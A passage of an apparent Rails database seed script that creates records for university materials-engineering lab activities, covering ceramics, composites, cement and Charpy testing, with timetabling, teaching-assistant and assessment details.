a420.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_short.id, num_assess: 1)\n ActivityTech.where(activity_id: a420.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a420.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a421 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"AMR336\").first.id, code: \"200\").first_or_create!(name: \"Ceramics 1\",\n name_abrv: \"Ceramics 1\", archived: false, in_drive: false, user_id: 5)\n at421 = ActivityTimetable.where(activity_id: a421.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a421.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a421.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a421.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a421.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a421.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a422 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"MAT377\").first.id, code: \"307\").first_or_create!(name: \"Schottky lab for MAT\",\n name_abrv: \"SCHOTTKY - MAT\", archived: false, in_drive: false, user_id: 5)\n at422 = ActivityTimetable.where(activity_id: a422.id).first_or_create!(duration: 180, kit_prep_time: 180, min_week_num: nil, max_week_num: nil, pref_room_id: $room_cr.id,\n same_as_prev_year: true, series_setup_time: 30, setup_time: 30, takedown_time: 30, notes: \"\",\n capacity: 12, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a422.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"MAT Schottky\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a422.id).first_or_create!(criteria: \"Experience with chemical processing (preferably, but not necessarily in clean room). Knowledge of basic testing of devices (IV).\",\n job_desc:\"Assist undergraduate students to make and test a Schottky diode in the Diamond clean room.\", jobshop_desc: \"GTA in MEE, the Diamond: Clean Room\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a422.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a422.id).first_or_create!(cost_per_student: nil, equip_needed: \"All equipment as per CCEE.1.06.002 and CCEE.1.06.003 except LCR meters\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a422.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a423 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT2220\").first.id, code: \"200\").first_or_create!(name: \"Ceramics I\",\n name_abrv: \"CERAMICS1\", archived: false, in_drive: false, user_id: 2)\n at423 = ActivityTimetable.where(activity_id: a423.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 32, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a423.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a423.id).first_or_create!(criteria: \"Hands-on experience on either key material characterisation techniques such as XRD, DSC, and SEM.\",\n job_desc:\"To construct a phase diagram for the solid solution Ba1-xSrxTiO3 using experimental data from a combination of experimental techniques.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a423.id).first_or_create!(assess_weight: nil, notes: \"From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab (report) 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 3)\n ActivityTech.where(activity_id: a423.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a423.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a424 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"AMR236\").first.id, code: \"201\").first_or_create!(name: \"Composites 1\",\n name_abrv: \"COMP1\", archived: false, in_drive: false, user_id: 3)\n at424 = ActivityTimetable.where(activity_id: a424.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a424.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a424.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a424.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a424.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a424.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a425 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"AMR302\").first.id, code: \"201\").first_or_create!(name: \"Composites 1\",\n name_abrv: \"COMP1\", archived: false, in_drive: false, user_id: 3)\n at425 = ActivityTimetable.where(activity_id: a425.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a425.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a425.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a425.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a425.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a425.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a426 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"AMR236\").first.id, code: \"202\").first_or_create!(name: \"Composites 2\",\n name_abrv: \"COMP2\", archived: false, in_drive: false, user_id: 1)\n at426 = ActivityTimetable.where(activity_id: a426.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a426.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a426.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a426.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a426.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a426.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a427 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"AMR302\").first.id, code: \"202\").first_or_create!(name: \"Composites 2\",\n name_abrv: \"COMP2\", archived: false, in_drive: false, user_id: 4)\n at427 = ActivityTimetable.where(activity_id: a427.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a427.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a427.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a427.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a427.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a427.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a428 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT2350\").first.id, code: \"203\").first_or_create!(name: \"Artefacts Project\",\n name_abrv: \"ARTEFACTS\", archived: false, in_drive: false, user_id: 3)\n at428 = ActivityTimetable.where(activity_id: a428.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a428.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a428.id).first_or_create!(criteria: \"\",\n job_desc:\"The students will analyse an artefact and use various characterisation techniques to analyse its properties and materials. They will use FTIR, XRD, SEM, DSC and variuos mechanical testing techniques.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a428.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: 1)\n ActivityTech.where(activity_id: a428.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a428.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a429 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"GEE105\").first.id, code: \"204\").first_or_create!(name: \"Atomic structure\",\n name_abrv: \"ATOMIC\", archived: false, in_drive: false, user_id: 1)\n at429 = ActivityTimetable.where(activity_id: a429.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 60, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a429.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a429.id).first_or_create!(criteria: \"Hands-on experience in manufacturing composite panels using pre-preg and the mechanical testing of composite panels.\",\n job_desc:\"Practical construction of composite panels cut at various angles relative to the fibre direction and mechanical testing in order to understand the directionality of composite materials.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a429.id).first_or_create!(assess_weight: nil, notes: \"MOLE quizes. From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: 3)\n ActivityTech.where(activity_id: a429.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a429.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a430 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT1820\").first.id, code: \"20\").first_or_create!(name: \"Atomic Structure\",\n name_abrv: \"ATOMIC\", archived: false, in_drive: false, user_id: 5)\n at430 = ActivityTimetable.where(activity_id: a430.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 60, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a430.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a430.id).first_or_create!(criteria: \"Hands-on experience in manufacturing composite panels using pre-preg and the mechanical testing of composite panels.\",\n job_desc:\"Practical construction of composite panels cut at various angles relative to the fibre direction and mechanical testing in order to understand the directionality of composite materials.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a430.id).first_or_create!(assess_weight: nil, notes: \"MOLE quizes. From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: 3)\n ActivityTech.where(activity_id: a430.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a430.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a431 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT1820\").first.id, code: \"205\").first_or_create!(name: \"Cement making\",\n name_abrv: \"CEMENTMAKING\", archived: false, in_drive: false, user_id: 5)\n at431 = ActivityTimetable.where(activity_id: a431.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: 60, takedown_time: nil, notes: \"\",\n capacity: 60, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a431.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a431.id).first_or_create!(criteria: \"General Maths and Physics Skills\",\n job_desc:\"To gain experience in the basic processes involved in cement hydration, the effect of mix design parameters on mortar rheology and strength. How to deal with statistical variation associated with the destructive testing of brittle materials.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a431.id).first_or_create!(assess_weight: nil, notes: \"MOLE quizes. From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: 3)\n ActivityTech.where(activity_id: a431.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a431.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a432 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"GEE105\").first.id, code: \"206\").first_or_create!(name: \"Cement making and testing\",\n name_abrv: \"CEMENT\", archived: false, in_drive: false, user_id: 4)\n at432 = ActivityTimetable.where(activity_id: a432.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 60, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a432.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a432.id).first_or_create!(criteria: \"General Maths and Physics Skills\",\n job_desc:\"To gain experience in the basic processes involved in cement hydration, the effect of mix design parameters on mortar rheology and strength. How to deal with statistical variation associated with the destructive testing of brittle materials.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a432.id).first_or_create!(assess_weight: nil, notes: \"MOLE quizes. From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: 3)\n ActivityTech.where(activity_id: a432.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a432.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a433 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT1820\").first.id, code: \"207\").first_or_create!(name: \"Cement Testing\",\n name_abrv: \"CEMENTTESTING\", archived: false, in_drive: false, user_id: 3)\n at433 = ActivityTimetable.where(activity_id: a433.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 60, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a433.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a433.id).first_or_create!(criteria: \"General Maths and Physics Skills\",\n job_desc:\"To gain experience in the basic processes involved in cement hydration, the effect of mix design parameters on mortar rheology and strength. How to deal with statistical variation associated with the destructive testing of brittle materials.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a433.id).first_or_create!(assess_weight: nil, notes: \"MOLE quizes. From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: 3)\n ActivityTech.where(activity_id: a433.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a433.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a434 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT377\").first.id, code: \"200\").first_or_create!(name: \"Ceramics I\",\n name_abrv: \"CERAMICS1\", archived: false, in_drive: false, user_id: 4)\n at434 = ActivityTimetable.where(activity_id: a434.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 32, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a434.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a434.id).first_or_create!(criteria: \"Hands-on experience on either key material characterisation techniques such as XRD, DSC, and SEM.\",\n job_desc:\"To construct a phase diagram for the solid solution Ba1-xSrxTiO3 using experimental data from a combination of experimental techniques.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a434.id).first_or_create!(assess_weight: nil, notes: \"From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab (report) 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 3)\n ActivityTech.where(activity_id: a434.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a434.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a435 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT2220\").first.id, code: \"208\").first_or_create!(name: \"Ceramics II\",\n name_abrv: \"CERAMICS2\", archived: false, in_drive: false, user_id: 4)\n at435 = ActivityTimetable.where(activity_id: a435.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 32, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a435.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a435.id).first_or_create!(criteria: \"Hands-on experience on either key material characterisation techniques such as XRD, DSC, and SEM.\",\n job_desc:\"To construct a phase diagram for the solid solution Ba1-xSrxTiO3 using experimental data from a combination of experimental techniques.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a435.id).first_or_create!(assess_weight: nil, notes: \"No assessments\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a435.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a435.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a436 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT377\").first.id, code: \"208\").first_or_create!(name: \"Ceramics II\",\n name_abrv: \"CERAMICS2\", archived: false, in_drive: false, user_id: 3)\n at436 = ActivityTimetable.where(activity_id: a436.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 32, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a436.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a436.id).first_or_create!(criteria: \"Hands-on experience on either key material characterisation techniques such as XRD, DSC, and SEM.\",\n job_desc:\"To construct a phase diagram for the solid solution Ba1-xSrxTiO3 using experimental data from a combination of experimental techniques.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a436.id).first_or_create!(assess_weight: nil, notes: \"No assessments\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a436.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a436.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a437 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"AMR336\").first.id, code: \"209\").first_or_create!(name: \"Characterisation of unknown polymers\",\n name_abrv: \"UN_POLY\", archived: false, in_drive: false, user_id: 3)\n at437 = ActivityTimetable.where(activity_id: a437.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a437.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a437.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a437.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a437.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a437.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a438 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV6276\").first.id, code: \"210\").first_or_create!(name: \"Charpy notch testing of steel\",\n name_abrv: \"CHARPYNOTCH\", archived: false, in_drive: false, user_id: 1)\n at438 = ActivityTimetable.where(activity_id: a438.id).first_or_create!(duration: 240, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 60, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a438.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a438.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a438.id).first_or_create!(assess_weight: nil, notes: \"No assessments\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a438.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a438.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a439 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT2310\").first.id, code: \"211\").first_or_create!(name: \"Composite making\",\n name_abrv: \"COMPMAKING\", archived: false, in_drive: false, user_id: 2)\n at439 = ActivityTimetable.where(activity_id: a439.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 16, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a439.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a439.id).first_or_create!(criteria: \"Hands-on experience in manufacturing composite panels using pre-preg and the mechanical testing of composite panels.\",\n job_desc:\"Practical construction of composite panels cut at various angles relative to the fibre direction and mechanical testing in order to understand the directionality of composite materials.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a439.id).first_or_create!(assess_weight: nil, notes: \"MOLE quizes. From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: 3)\n ActivityTech.where(activity_id: a439.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a439.id, programme_id: 